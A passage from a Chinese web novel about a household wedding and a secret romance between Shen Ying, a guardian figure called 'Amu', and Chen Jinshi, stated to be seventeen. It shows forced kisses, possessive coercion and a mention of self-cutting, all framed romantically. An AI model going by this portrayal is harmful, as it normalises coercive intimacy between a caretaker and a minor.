陈锦时一双眸子只牢牢黏在沈樱背上,像要烧出个洞:“阿姆,你是不是压根就没想过要跟我……” “陈锦时。” 沈樱转过身,眼风一剪,带着警告。 陈锦时没再往下说,只是那双眼睛仍死死胶着在她脸上,瞳仁深处像浸了水,泛着股化不开的湿沉。 似是刻意为了避这种嫌,沈樱扭头对陈兴又说了一句:“就去拿出来给锦行他们用。” 陈兴点头道:“行,行嘞。” “不行。”陈锦时站起身,猛地攥住她的手腕,力道不大,指尖凉得像冰,带着种近乎偏执的情绪。 沈樱低头盯着两人交握的地方,前额感到阵阵发疼。 陈兴愣了愣,忙打圆场:“要,要不还是算了吧,大爷这婚事已经办得够风光的了。” 沈樱没说话,更不敢继续惹恼陈锦时。她被他攥得手腕发麻,终是松了口:“陈兴,你先下去吧。” 陈兴如蒙大赦,连忙应着退了出去。 临走前还回头觑了两眼,见二爷那架势,还真是跟小时候一点没变,霸道胚子,什么东西也要跟大公子抢。 以后沈姑娘有了孩子,他总不会还要跟人家抢奶喝? 廊下只剩下两人,陈锦时不光不松手,还步步逼近。 沈樱被他盯得头皮发麻,后腰忽然抵在墙上,他一掌撑在她身后。 男人身上的气息迅速裹满了她四周,她透不上气。 就连他的眼神,也从方才那种带点委屈的湿沉变成了锐利。 他整个人就像一张拉满的弓,带着毫不掩饰的侵略性,将她牢牢困在臂弯与墙壁之间。 “沈樱,你是不是该跟我解释解释?”他声音压得低沉,带着一股子邪气,呼吸重重落在她脸上,丝毫不加掩饰。 她堪堪避过他的眼神,他微微俯身,视线又如鹰隼般牢牢攥住她。 沈樱硬着头皮别过头,一字一顿道:“没什么好解释的,你想要那对烛台,就留着你以后用好了。” “沈樱,我今晚就想用。” 她不看他,导致他不得不掐住她的下巴,迫使她抬头,直视自己。眼底翻涌的占有欲几乎要溢出来。 她一愣,他的额头抵着她的,呼吸里带着不易察觉的颤抖。 “阿姆……”他的声音哑得厉害。 他垂着眼:“我知道你心里想的什么,你从没想过要跟我一起用那对烛台,在你心里早就假定了另外一个人的存在。我现在要告诉你,永远不会有那样一个人存在!” 沈樱轻轻垂眸:“嗯。或许吧。” 一个十七岁的男子给出的誓言,真是一点让人信服的力量也没有。她敷衍敷衍他也就罢了,哪里会当真。 他看出了她的敷衍,占有欲瞬时退却,变成了小心翼翼的讨好。 “我说真的……你别走,好不好?” 他轻轻环住她的腰,把脸埋进她的颈窝,声音闷闷的。 温热呼吸打在她颈侧,带着点湿意,像小动物在撒娇求欢。 “阿姆,你再多爱我一点好不好?” 不知何时,陈锦时养成了埋首于她颈侧的习惯,把唇鼻埋在她颈窝里,犯了猪瘾一般,猛猛地吸嗅。 明明他话里是在示弱和乞怜,她却被他逼着一步步后退。 她耸着肩,支起肩上的那颗头:“陈锦时,你别这样。” 他被她推起来,目光又黏又软,她脖子上那湿黏的感觉尤在。 “阿姆,你是不是根本就不想亲吻我,你后悔与我那般亲近了?” 话是这么说,他的拇指摩挲着她的下唇,很用力。 她还没有想好要怎么回答他这句话,他的拇指还在她唇上捻着,忽然,温热的唇就覆了上来。 没有试探,没有缓冲,只有带着急切的掠夺。 他一手箍着她后颈,迫使她仰起头,另一只手牢牢按在她腰间,将两人的距离压得密不透风。 沈樱的挣扎在他怀里像隔靴搔痒。 他咬着她下唇,像是一种惩罚,她闷哼了一声,他又轻轻舔舐方才的咬痕,像是在讨好。 他的吻慢慢变得黏腻而绵长,带着苦苦哀求的意味,辗转在她唇上。 直到沈樱浑身发软,几乎要瘫倒在他怀里,他用紧实有力的手臂撑住她。 她舌根发酸,那种兴奋感还未散去,但她是阿姆,她不能表现得还想要。 她软倒在他臂弯里,摇摇头:“我没有后悔。” 尽管她这样说,但她的态度不明。 “看着我。”他命令道。 她顺从抬眸看他,他的眼神极具侵略,更潜藏着得不到满足的欲望。 那算闪烁着异样光泽的眸子,从始至终注视着她。 “那你喜欢吗?”他抚摸着她的唇问道。 她的睫毛颤了颤,抬手,轻轻揪住他胸前的衣襟,别过头:“我喜欢的。” 她尽量想表现得态度不明,但还是被他逼得表态。 满意了吗?陈锦时。 “那我去把那对烛台取出来。” 沈樱怔住。 他又道:“放到你的床头。” 他摸了摸她的头,然后松开她,沈樱拉住他:“陈锦时,别搞事。” 他回过头,眨了眨眼:“阿姆,在你规定的两条规矩之外,难道不是我想做什么都可以吗?” 他真诚发问。 她温柔地解释:“不可以的,陈锦时,那两条是底线。” 他看了她一会儿,才做出退步的姿态:“好吧,阿姆,我是你最乖的孩子,我自然会听你的。 我是吗?” “你是。” 雪是后半夜开始落的,晨起时整个金陵城已经裹在一片素白里。 沈樱刚吩咐人扫开门前的积雪,就听见门房来报,说大爷的马车到了。 她踩着软底鞋往门口走,陈锦时拉住她,往她怀里多塞了个手炉。 她的斗篷扫过阶前的雪,远远就看见那辆熟悉的青蓬马车停在巷口。 车帘被两个丫鬟掀开,那只骨节分明的雪白的手便撑在了车门上,陈锦行弯腰出来。 他头上罩着镶毛边的帽檐,看着倒比去时更清瘦了些,不过半月功夫,眉宇间却添了几分沉稳。 见沈樱立在阶前,他颔首:“阿姆,我回来了。” 小厮正忙着卸车,陈兴指挥了一干下人,齐齐在门口恭迎。 车厢里搬下来几个捆得严实的包袱,还有个半人高的木匣,想来是从京里带回来的物件。 陈锦行掸了掸身上的雪,目光扫过门上新挂的红灯楼,还有府里处处张贴的“喜”字,眼底漾开点暖意。 “阿姆,我给你带了不少好玩意回来,你拿着玩儿。” 沈樱侧身让他进门,顺手将手里的暖炉揣到他手里:“冻坏了吧?灶上煨着姜茶,先去暖暖身子。” 陈锦时看见这一幕,没朝沈樱多说。 “哥!你可算回来了!” 陈锦行刚朝陈锦时看去,陈锦时团好的雪球带着风声朝他砸过来。 陈锦行一时没能躲开,那雪球在他肩上溅起一大片雪渣,溅得鬓角上都是。 陈锦时笑得厉害。 陈锦行却是得了个透心凉。 沈樱怒目瞪陈锦时:“你这是做什么?陈锦时!” 陈锦时在陈锦行背后朝她嘟了嘟嘴,沈樱没好气地避开,脸稍稍红了。 陈锦行拍拍肩上的雪,倒没动气,只是看了陈锦时一眼,眼底带着点无奈:“多大的人了,还玩这个。” 陈锦时挑眉,无声无息从陈锦行手上接过了那个手炉,在自己怀里抱着。 此时陈锦云正团好了雪球,趁陈锦时不注意,往他背上砸去:“大哥哥,我帮你报仇!” 陈锦云力气不大,雪球砸在陈锦时身上跟个羽毛似的,他回头见是陈锦云,故意板着脸:“小丫头片子,胳膊肘往外拐!” 他弯腰横抱起她:“看我不揍你一顿!” 陈锦云一边挣扎一边喊:“谁让你欺负大哥哥了。” 进了堂屋,陈锦时才把陈锦云放下。 陈锦行对沈樱道:“阿姆,太后娘娘赏了我一支赤金步摇,想来你会喜欢。” 说着,他从包袱里掏出一只木匣。 沈樱轻轻摇头:“我也用不着这 个,你婚期在即,何不留着赠给你的新婚妻子呢?” 陈锦行拉着她的手把木匣塞给她:“新婚妻子是新婚妻子,阿姆是阿姆,父亲去世前,特地耳提面命过我们,要一辈子把你当母亲侍奉。我既得了好东西,第一个想到的自然是你。” 说着,他轻飘飘瞟了陈锦时一眼。 陈锦时没搭理他,转而看向沈樱:“阿姆就收着吧,也算我哥有良心。” “阿姆永远是阿姆,我自然得有良心,”陈锦行侧头看他,“陈锦时,你没有吗?” 陈锦时手里的橘子瓣刚递到嘴边,闻言动作一顿,抬眼锐利地看向陈锦行:“哥哥,你……” “够了。” 兄妹三人齐齐看向沈樱,她站起身:“我去看看灶上饭做得怎么样了。” 沈樱出去,陈锦时也站起身,冷冷瞥了陈锦行一眼,然后跟上去。 她没去灶房,哪儿也没去。 她需要有地方透口气。 她沿着回廊慢慢走,雪光映得四处白得刺眼,冷风吹得她脸颊刺痛,身后传来轻浅的脚步声,她不用回头也知道是谁。 “阿姆,风大,回去吧。” 他将一件带着体温的斗篷披在她肩上,顺势从后搂住她,用他的整个胸膛为他挡风。 他的掌心滚烫,带着少年人独有的热度,一点点捂热她的指尖,沈樱挣了挣,没挣开,只好由着他。 “我不想回去,陈锦时。” 陈锦时头埋进她颈窝,闷闷地“嗯”了一声:“我知道,那就不回去。” 沈樱一口气又憋回去,改口道:“那不行,那还是得回去。” 他埋在她颈间轻笑,她被他的气息挠得酥痒。 他低头看着他揉捏着她的手,轻声道:“我哥他什么都知道,咱们瞒不过他。” 沈樱的心轻轻一颤,张了张嘴,刚要说话,就听他缓缓道:“他早就知道,我是个混蛋。我想亲吻我的阿姆,我想占有我的阿姆……他看穿了我的心思,他早就劝过我了。” 沈樱指尖猛地收紧,寒意顺着脊椎爬上来。 少年人的胸膛还紧贴她后背,心跳声震在她耳边轰鸣。 察觉到她的紧张,他轻轻揉着捏着她的手,继续安抚。 “陈锦时,他都劝过你了你还……你疯了。”她的声音发颤,差一点,差一点他们不会到这个地步的。 “我没疯。”他的唇擦过她的耳垂,带着滚烫的温度。 “阿姆,我清醒得很,你以为只是疯一次我就会变成这样吗?不,日日夜夜,我都在肖想你,已经很久、很久了。” 若是她转身,便会看见他极尽痴迷的眼眸。 沈樱只觉得浑身的力气都被抽干了,连挣扎的力气都没有。 他的气息裹着滚烫的欲望,缠得她喘不过气。 那些被她刻意压抑的无耻情愫,在他直白的话语里翻涌上来,搅得她心湖大乱。 “你……”她想说些什么,却被他轻轻咬住耳垂,细碎的痒意混着战栗传遍四肢百骸,“别这样……” 她闷哼一声,彻底软倒在他怀里。 “沈樱,看着我。” 他扳过她的肩,迫使她与自己对视。 看看他,他的眼尾泛红,像染了胭脂,里面翻涌的痴迷几乎要将她溺毙。 他轻轻扶着她的脸颊:“我知道你怕什么,可你摸摸,这里面全是你。阿姆,没有你我会死的。”他抓住她的手,按在自己心口。 他不止一次说起这句话,但第一次说得这么认真。 沈樱显然只把这当做一句轻飘飘的誓言,没有她,他怎么会死呢? 他的病已经好了大半了,有她的药在,他无论如何也不会死的。 “阿姆……”他哽咽着,埋在她发间。 沈樱的心脏像是被什么东西狠狠攥住,又酸又软。 不对,他会死,他会拿剪刀割自己的手腕,他会自己杀死自己! 她抬手,轻轻抚上他轮廓分明的脸,指腹擦过他泛红的眼尾:“时哥儿,你过来点。” 他轻轻垂首,她主动吻他,她睁开眼,眼底亮着光:“以后别做傻事了。” 陈锦行看着弟弟追出去的身影,感到无可奈何。 陈锦云后知后觉地问他:“大哥哥,阿姆是生气了吗?是二哥惹的她吗?” “没有,锦云,不关你的事。” 没过多久,两人一前一后回来,沈樱走在前面,陈锦时跟在后面。 可惜回来得有些急促,没来得及整理好衣领。 陈锦行看见了她颈上的红痕,不动声色地避开目光,在陈兴过来摆饭时,挡在她身前。 “陈兴,把那盘清蒸鲈鱼往阿姆跟前挪挪,阿姆爱吃鱼。”陈锦行道。 陈兴应了声“哎”,陈锦时紧挨着沈樱落座:“阿姆,待会儿别自己吃,我替你挑了刺再吃。” “阿姆尝尝这个。”陈锦时夹了块晶莹剔透的腊肉往她碗里送,“哥哥从京里带回的就是不一样,闻着比咱们府里自己做的香。” 陈锦行开口道:“阿姆若是喜欢,过些日子我再从京城带些回来便是。” 沈樱夹着腊肉的筷子顿在半空,终究还是送进嘴里,腊肉的咸香混着松木熏过的醇厚,好吃是好吃,就是被两人盯着,多少有些坐立难安。 “是不错。”她含糊夸了句。 “阿姆素来吃不得太咸。”陈锦行说着,给她盛了一碗藕汤。 陈锦时已将鱼刺剔好,一大块鱼腹肉放到她碗中,“阿姆快趁热吃,凉了就腻了。” 见她没拒绝,陈锦时愈发肆无忌惮。见她夹了口青菜,他立刻把菜碟往她跟前推;她端起茶杯,他先一步续了热水。 陈锦行侍奉得倒也很殷勤,但他没有陈锦时那么没脸没皮,只得堪堪避让。 腊月十六这一日,陈家府门都被泼天的红绸裹得严实,大红喜字贴满了每扇窗棂,连廊下悬的宫灯都换了簇新的红纱。 沈樱天不亮就起身了,穿着件石榴红的褙子,正指挥下人给门前刚立上的两尊石狮子也系上红绸,陈家如今门第不同了。 “再去看看锦行那边妥当了没,得早些过去迎亲。” 正说着,陈锦时披着件白狐裘从门外进来:“街坊邻里的红封发出去了。阿姆怎么穿这么少?” 他不由分说往她怀里塞了个暖炉,伸手替她拢了拢衣领。 沈樱拍开他的手:“今天别捣乱。” 陈锦时撇嘴,眼睛却始终黏在她脸上:“我是那种人吗?阿姆今天真好看,比新娘子还好看。” 沈樱白了他一眼,心里却暖融融的。 陈锦云穿着身粉红色的棉袄过来,手里举着朵绒花:“阿姆看我穿这个好看吗?” “好看。”沈樱取过绒花,笑着替她别在发间,揉揉她的脸蛋:“我们锦云就要有嫂子咯。” 陈锦行穿着大红喜服从里院出来,金线绣的龙凤呈祥在晨光里闪着亮,衬得他本就清俊的眉眼愈发沉稳。 他走到沈樱面前,微微颔首:“阿姆,我该出发了。” “路上当心些,”沈樱从丫鬟手里接过披风,替他系在肩上,“别误了吉时。” “知道了。”陈锦行的目光在她颈间扫过,她今天裹得严实,倒没瞧见红痕。 “去吧。早去早回。” 门外开始响起震天的鼓乐声,夹杂着街坊邻里的哄笑。 迎亲的队伍浩浩荡荡出了门,沈樱站在门阶上望着,直到那片红色消失在巷口,才转身往回走。陈锦时亦步亦趋地跟着,忽然伸手牵住她的手。 “沈樱,等会拜堂,你就站我旁边。” 沈樱想挣开,却被他攥得更紧。 “好。” 两人闲 坐了一会儿,陈锦云出去散喜糖了,不一会儿,二房、三房的人也来了。 沈樱起身出去迎人,刚走到回廊拐角,他忽然从身后抱住她,下巴搁在她肩上,声音闷闷的:“阿姆,哥哥都要成婚了,你什么时候能嫁给我?” “再说吧。”她脸色难看。 陈锦时却不可能松手,反而抱得更紧:“你先答应我。” 外面聚的人越来越多,又有人高喊:“新娘子的花轿快到了!” 沈樱声音带着点急:“陈锦时,今天别胡闹,快放开我,你这样会被人看见的。” 陈锦时巴不得被人看见,死死不松手。 沈樱发怒:“这件事情绝不可能!” 他怔怔松手,喃喃道:“我没胡闹。” 沈樱神情淡漠地看着他:“够了,真的。” 她厌恶这样界限不明的感觉。 她原本是将规矩框定死了的。 在她框死的范围内,做什么都可以,她也乐在其中,但若要拿到明面上来,那就抱歉了。 “陈锦时,你越界了。” 他一脸无辜,装作听不懂:“别凶我……” 她的目光落在他身上,没有波澜,像一潭深冬的湖水,更像是用无形的鞭子一下下抽向他。 抽吧,抽死他。 他被这目光钉在原地,指尖蜷得发白。心底像有野草疯长,挠得他发慌。 她转身要走,她真是一个冷漠到极致的女人。 “阿姆,我会是你的乖孩子,我会听你的。阿姆训诫我吧,你会快乐,我会改正。” 第39章 对于他的示弱,沈樱感到满意。 她奖赏般地,朝他轻轻点头:“嗯,陈锦时,只要你乖一点。”那就一切好说。 陈锦时缀在她身后,两人往前院走去。 鼓乐声充斥了整个天地,喜庆一层叠过一层漫过陈府的院墙。 唢呐吹得震天响,混着锣鼓的咚咚声,铺天盖地的红占据了沈樱的所有心绪。 今天是陈锦行的大日子,也是她的。 她唇角扬起浅笑,站在朱红描金的府门前。 迎亲的队伍从巷口缓缓移动过来,陈锦行骑着一匹枣红色的大马走在最前,胸前红绸结得端正,脸上笑意恰到好处。 轿夫们吆喝着,将八抬大轿稳稳落在地上,陈锦行上前,他依礼用红绸牵出轿内人,往府中去。 大红盖头遮了新妇面容,一身正红绣凤的嫁衣,金玉佩了满身,叮当作响。 沈樱侧身让开主位,看着新人一步步踏上台阶。宾客们陆续登门,见了她便拱手道贺。 “恭喜沈姑娘”“贺喜陈府双喜临门”的话语入耳,她一一笑着应下。陈锦时始终站在她身后,应她要求,隔着半步远。 只有在有人不小心撞到沈樱时,他才会不动声色地往前半步,用胳膊牢牢挡在她身侧。 吉时快到了,沈樱沿着红绸往里走。老爷子跟老太太倒是不客气,已经到主位上坐下了,身边围着些与二房相熟的宾客,寒暄吵闹着。 高堂上,依前议摆着他们父母牌位。沈樱没有靠得太近,她倚在门边的位置站定,陈锦时忽然伸手,拉着她往里走。 她一怔,想抽回,却被他牢牢攥住。 “阿姆,到前面去些,你站在这儿,他们都看不见你。” 他的掌心滚烫,隔着衣料贴过来。 沈樱被他拉着往前一步,恰好立在供桌左侧,陈锦时指尖在她手心里轻轻掐了一下。 新妇被陈锦行用红绸牵着,缓缓踏过门槛。门前摆着一盆碳火,她提着裙摆,小心翼翼地跨过,寓意着往后日子红红火火。 两人并肩走进正厅,宾客们围站两侧,屏息而视。 沈樱也放轻了呼吸,只有陈锦时,还牢牢贴在她身后,他的心跳声“砰砰”传来。 所有流程和仪式沈樱都提前安排好了,司仪高声唱喏:“一拜天地——” 陈锦行与新妇同时转身,面朝门外天地,深深鞠躬。 沈樱看着看着,忽然热泪盈眶。真好啊,至少锦行好好长大了,亲眼看着他成家立业,她也好到将军碑前去复命。 颈后忽然拂过温热呼吸:“阿姆,你哭了?” 他声音压得很低,沈樱没应他。 他扯了扯她身后的衣摆:“有什么好哭的?” “没什么。”她哑着嗓子道,“看你哥哥这样,高兴。” 身后人贴得更紧:“阿姆,你别哭了,我看着你掉眼泪,我心里难受。” 司仪又唱:“二拜高堂——” 新人转过身,对着供桌上的两个牌位深深鞠躬。 沈樱望着那两块黑漆描金的木牌,泪意更浓。 陈锦时轻轻扯了扯她,四周人多,挤挤挨挨的,她干脆往后一仰,仰靠在他胸膛上。 他的手臂本能地环住她,衣袖宽大,旁人倒是瞧不出来。 沈樱就着这姿势靠着他,鼻尖泛酸得厉害。她仿佛看见将军夫妻二人含笑望着这满堂红。 “夫妻对拜——” 陈锦行转身与新妇相对,恰好望过来,目光在她微红的眼角顿了顿,朝她微微颔首,似是一种安抚。 沈樱也轻轻颔首,陈锦时忽然伸手蒙住她的眼,一把抹走了她脸上的泪。 “哥哥成婚你就哭成这样?阿姆,我成亲时你要如何?” 她拂开他手:“你成亲与我何干?你哥哥成亲,我才算报答完将军恩情。从今往后,你大嫂就是这个家的主母,你和锦云,往后都得听她的,就算是你的婚事,我也绝不过问,到了年纪,等你大嫂给你说亲也就是了。到时你若愿意给我递个喜帖,我若有空,我便来看看,若是没有,那就算了。” 她絮絮说着,也不知怎的,泪越掉越多。 陈锦时听了这话,也不闹脾气,反而抵在她耳后低声道:“你昨晚还在跟我亲嘴,今日就说起这样的话来,阿姆,你知不知羞?” 沈樱的脸“腾”地烧红,眼泪也不掉了,挂在眼角,收也收不回去。 “陈锦时你……你就气我吧。” “好好好,是我错了,如今的这些,都是我求着阿姆才得来的,往后我只会听你的话。”他几乎是咬着她的耳根说着这话。 沈樱别过脸,张了张嘴,他都这么乖了,她还能说什么? 她只能任由陈锦时偷偷把她圈进怀里,她的脊背毫无缝隙地紧贴着他的胸膛。 “阿姆,你听听我这里跳得有多快,阿姆,陈锦时永远是你的乖孩子。” 胸腔的震动透过相贴的衣衫传来,他抬手一下一下抚着她后背的发,无人知晓这个角落所发生的事情,众人只知,时哥儿很有孝心,他一直守在他阿姆身后。 正厅里的喧闹渐渐往内院移去,宾客们追着新人讨喜酒。 二房的太太端着酒壶凑过来,鬓边别着大红的绢花:“沈姑娘,可算逮着你!老太太三请四请你,你也不去……哟,时哥儿也在。”她嗓门亮得像敲锣,转眼便围来一群寒暄的人。 “大房今日真是红火,亏得有沈姑娘里外操持,不然哪能这么体面。”姑奶奶拉着沈樱的手,见着她刚刚还掉了泪的一双眼,“瞧这眼眶红的,是替锦行高兴坏了吧?也是,如今锦行成家,你总算能松口气了。” 见陈锦时紧紧跟在沈樱后面,他姑姑又道:“时哥儿打小就调皮,今后你也别管他了,由着他侍奉你,断没有你再照拂他的道理。” 沈樱还没张口,陈锦时笑着回话:“这是我应该做的,姑姑。”说着,手臂在众人看不见的角度,悄悄揽住了沈樱后腰。 “沈姑娘没白疼他,时哥儿定不会让你失望。”姑奶奶话音落,周围几人附和,说的无非都是沈樱苦尽甘来,陈锦时有孝心又有出息,定能叫她享福那话。 沈樱倒不怕这些人将来反过来戳她脊梁骨,她并非仰仗名声而活,但陈锦时不一样,她到底不愿他背负骂名。 她悄悄往旁边挪了半步 ,陈锦时一把将她捞回来,手掌掐住她腰上的软肉,带着不容拒绝的力道。 二太太瞧了二人几眼,笑着道:“沈姑娘,新媳妇娶了回来,往后大房也用不着你操劳什么了,你是不是也该想想自己的终身大事了?在咱们金陵,拖到这个年龄未嫁的女子可不多。” 沈樱含笑轻轻摇头:“这个不劳二太太操心,我们族里倒没这个规矩。” “那怎么行?我瞧你那铺子开得红火,定是要常年住在金陵的,俗话说入乡随俗,姑娘家哪能不成个家?沈姑娘模样周正,又会持家,不知多少人家想求呢。正好我这儿知晓个人家,正找媳妇呢,我看沈姑娘就再合适不过……” 话没说完,沈樱还没张口,陈锦时松开她,捏着拳头挡到她跟前,眼神盯得人心里发毛:“二婶,我看你是皮又痒痒了。” 他的拳头捏得咯咯作响,眼神冷厉得像是一拳能攮死人:“我阿姆的婚事,轮得到你嚼舌根?你算个什么东西!一张嘴跟个茅坑里的石头,又臭又硬,也配在我阿姆跟前搬弄是非?” 二太太原以为时哥儿如今已是举人,早学了乖了,一对上他这眼神,哪里不知道大房这个混世魔王还是个混世魔王,一点也没改的! “时哥儿,这大庭广众的,我可是你长辈!” 陈锦时逼近她,由上而下,浑身是邪气,低声道:“我知道,二婶,我又没打算真的做什么?我只是说,滚!听清了吗?” 二太太气得浑身发抖,却不敢作声,她是真的怕陈锦时! 姑奶奶拉着她,给了她个台阶:“走吧,走吧,咱们该去看闹洞房了。” 二太太顺着台阶下:“哼,时哥儿,我不跟你多说,你等着你祖父来教训你!” 陈锦时没理她,转过身,脸上的戾气瞬间褪得干干净净,在沈樱面前就像只摇尾巴的狗。 沈樱捂着嘴,压低声音轻笑:“陈锦时,你别闹!” “你笑什么?我说错了?她本来就像块臭石头,你跟她有什么关系?她整天盯着你嚼舌根,我看见她就烦。” 沈樱拍开他试图捏她脸颊的手,眼底漾着笑意:“我又不在意她说什么。” “可我在意。你是我的人,谁也别想打你的主意!” 他说话总是带着这种蛮横的语气,沈樱听了,一笑而过,并不放在心上。 远处闹洞房的哄笑声一阵高过一阵,夹杂着喜娘唱喏的吉祥话,倒衬得他们这边格外安静。 沈樱望着他年轻张扬的眉眼,心里像被什么东西填得满满当当。 她轻轻叹了口气,伸手替他理了理衣襟:“知道你能耐。走吧,咱们也过去看看。” 动作间带着不自觉的亲昵,一切都是那么自然地发生。 陈锦时圈住她的手,拉着她往那处走。 一路经过不少宾客,他们相连的手被掩在宽大的衣袍之下,在有人靠近时,她自然而然地抽回,他怅然若失地蜷起指骨。 陈锦行刚从内院出来,额角带着薄汗,胸前的红绸有些歪斜,目光对上了他们,随即快步过来,视线在两人身上转了转,最后落在沈樱脸上,语气温和:“阿姆,里面都在问你们呢,怎么在这儿站着?” 内院正屋里挤满了人,老太太坐在上首,见了她,忙招手:“沈姑娘,快过来坐。” 新媳妇正被族里妯娌婶姨们围着说笑,一见着她,忙转过身来,规规矩矩地福了身:“小女见过阿姆。” 沈樱托她起来:“妹妹不必客气,快起来。” 这一声妹妹,实是称呼得谦逊了,众人皆知,沈姑娘如今不愿以长辈自居。 老太太道:“锦行如今成家了,你也该歇歇了。往后这大房的事,合该都交由张氏操持,你也可清闲些。” 沈樱刚坐下,就见陈锦时挤开两个看热闹的亲戚,端着一碟蜜饯凑过来,往她手里塞了颗金橘脯:“阿姆尝尝,甜的。” 他指尖蹭过她掌心,带着点刻意的磨蹭,沈樱没看他,却还是把蜜饯含进嘴里,酸甜的滋味漫开,带着几分涩意。 听了老太太这话,张若菱忙道:“都是媳妇应该做的,阿姆,今后尽管歇着,享清福便是。” 沈樱看着她,正要回话,手腕忽然被人轻轻拽了下,她回头,陈锦时不知何时又凑了过来:“渴不渴?我去给你倒杯茶。” 沈樱瞪他一眼,这是个什么场合? 陈锦时却像没看见似的,老太太见状斥了他一句:“你也老大不小了,没点正经事做吗?整日黏在沈姑娘身边像个什么样子!” 何况他这年纪,本不该再混在内院里。 果真是个没娘教的,沈姑娘又是个外族人,懂什么规矩教他? 陈锦时跟老太太回话,眼神却直勾勾盯着沈樱:“我给我阿姆倒个茶,你老人家多管什么闲事?” 他故意侧腿坐在她的椅子把手上,一只手圈过她的背,支在她另一边的把手上。 两个人看起来,就像黏在一起似的,他手长腿长,半站半坐的姿态,还是将她整个人包裹于身躯之下。 老太太被他噎了一嘴,张口想骂,又怕陈锦时当众下了她的脸面,他又不是没做过这事。 沈樱后背抵着他温热的胸膛,她拧他胳膊,被陈锦时拉住,他得寸进尺,在她腰侧轻轻抚了下。 她正要发作,他已拿起桌上的茶壶,倒了杯温茶递到沈樱嘴边,姿态亲昵,不知道的还当沈樱是他媳妇。 陈姑奶奶见状觉得不妥,无奈劝:“时哥儿?别挤着你阿姆了,到一边来站着,要奉茶就好好奉。” 沈樱轻咳了一声,伸手接过嘴边的茶,然后放到桌上,又端端坐着。 陈锦时如姑姑所言,站起身,乖乖侍立在她身侧,慢悠悠给她剥了满满一碗核桃吃。 “你看看这孩子,真是小时候被你惯坏了。”姑奶奶朝沈樱无奈地摇头,“那时候家里谁不嫌他?也就你来了不嫌他。” 沈樱瞥了陈锦时一眼:“他小时候可怜,招人疼。” “沈姑娘是心太善,哎……”说着,他姑姑眼底就这么渗出泪来。 老太太瞅她一眼,斥责道:“这大喜的日子,你哭什么?” 陈家二房、三房的那些人,并不知道她当初跟着将军回来,是因着救命之恩的缘故,将军也特意瞒了过去,只对外称是请她回来照拂时哥儿身体的,只是做个随府的医师,身份上不太郑重,便又添了个“阿姆”的名头,连带着叫三个孩子都承她的情,侍奉她。 姑奶奶忙用帕子拭了泪,笑道:“是我失态了,今日该高兴才是。再说,那也都是过去的事了。” 陈锦时还欲在她跟前腻着,陈锦行从房里出来,揽过他往出走:“跟我去前院儿敬酒,大男人在后院儿女眷堆里待着像什么话?” 陈锦时盯着他笑:“哥你挑了盖头了?新娘子好不好看?” 陈锦行被他问得耳尖发红,抬手在他背上拍了一下:“这是你该问的?”嘴上斥着,眼底却浮现笑意。 陈锦时跟着他往外走,要迈过门槛时,回身,当着众人的面:“阿姆,我很快回来。” 陈家一个远房的婶子笑道:“瞧这哥俩,跟沈姑娘感情真好,时哥儿也不像小时候那么浑了。” 姑奶奶道:“可不,锦行性子一向稳重,对沈姑娘向来是尊敬的,时哥儿性子虽野了点,这两年也唯沈姑娘马首是瞻,平常最听她的话。” 二太太寻着这样的话头,便接道:“可不是嘛,在时哥儿眼里连他亲祖父亲祖母也得排在沈姑娘后面。” 老太太脸色骤然变得难看得很。 姑奶奶连忙斜眼示意自家这个爱得罪人的二嫂,快闭嘴吧您。 正说着,底下人呈上来几碟新做的点心,张若菱站一旁道:“各位都尝尝,是我带来的厨子做的,不知合不合口味。”她脸上还带着红晕,眉眼温顺。 “好孩子,你有心了。” 姑奶奶先拿起块绿豆糕,尝了口,赞道,“手艺不错,比我们府上的厨子做得好。” 张若菱腼腆地笑:“您喜欢就好。”她看向沈樱,眼神里带着点小心翼翼的讨好,“阿姆也尝尝。” 她嫁来之前,她母亲耳提面命过,说陈家那些亲戚,全都不用在意,就算是老爷子跟老太太,她也不必费心讨好,陈家两位少爷也压根没把他们放在心上,唯一需要她费劲讨好的,只有沈姑娘。 沈樱拿起一块桂花糕,对张若菱温和笑道:“你有心了,往后都是一家人,不必这般客气。” 张若菱看着沈樱的眼神愈发亲近。 阿姆好温柔,不仅不摆架子,待人还亲和极了,与她说话时,恰到好处的笑容只让人觉得舒服。她唇角总是噙着浅淡的笑意,就像春日湖面拂过的风,轻轻柔柔的。 她的眼神是一汪清水,与陈家这些婶姨妯娌的,一点也不一样,它清澈而包容,让人不自觉地想靠近,想信赖。 就像此刻,张若菱看着她温和的眉眼,之前的忐忑忽然就散了。 院外一阵喧哗,宾客尽欢。 沈樱一边与人应着话,目光不自觉往院外瞟了瞟。 又听姑奶奶正与张若菱闲话家常,问起她家里的光景。 “……家父在苏州经营绸缎庄,不算大富大贵,倒也安稳。”张若菱轻声回话,手指绞着帕子,显然还有些拘谨。 老太太道:“苏州的绸缎是出了名的好,往后府里做衣裳,倒能仰仗你家留意些。” 张若菱愣了愣,轻轻点头:“应,应该的。” 沈樱轻轻蹙眉,目光扫过两人,到底没有出声说些什么。 前院,杯盏碰撞声混着高声笑谈传进来。 直到夜色渐浓,宾客散去大半,陈锦时带着一身酒气从外院进来。 沈樱刚送走老太太她们,与张若菱站在廊下轻声说着话,月光落在她侧脸,柔和得像幅画。 “阿姆。”他喊了一声,嗓音里带着点酒后的沙哑。 沈樱叫张若菱先回房歇着,闻声回头,眉头微蹙:“喝了多少?” “没多少……”话没说完,他往前迈了两步,身子一歪就往她身上倒。 沈樱下意识伸手扶住,指尖掐住他收得精干的腰线。 她拧着眉看向张若菱的方向,咬牙道:“陈锦时你看看场合!” 张若菱没看出什么,还出言关心:“锦时这是喝多了,我去给他要碗醒酒汤来吧。” 陈锦时头抵在沈樱肩头,抬眼,眼中满是细碎的光亮,朝她懒懒笑道:“不用,大嫂,我有阿姆。” 他脑袋搭在她肩窝,湿热的呼吸从她颈侧扫过,顺势往她身上靠得更沉,得亏沈樱力气大,不然也要持不住他。 张若菱瞧他这样,正犹豫着,眼见小叔子这副模样,沈姑娘又这般辛劳,她怎能不搭把手呢。 “阿姆,你扶他到屋里歇歇,我去端汤。” 沈樱叫住她:“若菱,不妨事,你别管了。” “可我……” 陈锦时脑袋在沈樱颈窝里蹭了蹭,睁开一只迷蒙的眼看她:“我有阿姆,嫂嫂,不劳你费心。”说着,又蹭着沈樱,“阿姆,我头晕得厉害,快扶我回房。” 沈樱拿他毫无办法,他几乎整个人都挂在她身上。 张若菱正迟疑着,心里暗叹一句,那些亲戚说得没错,小叔子真是够烦人的,沈姑娘估计早都烦死他了。 正好陈锦行也回来,见三人正纠缠,快步上前,浑身卷来一股寒气,拢住张若菱。 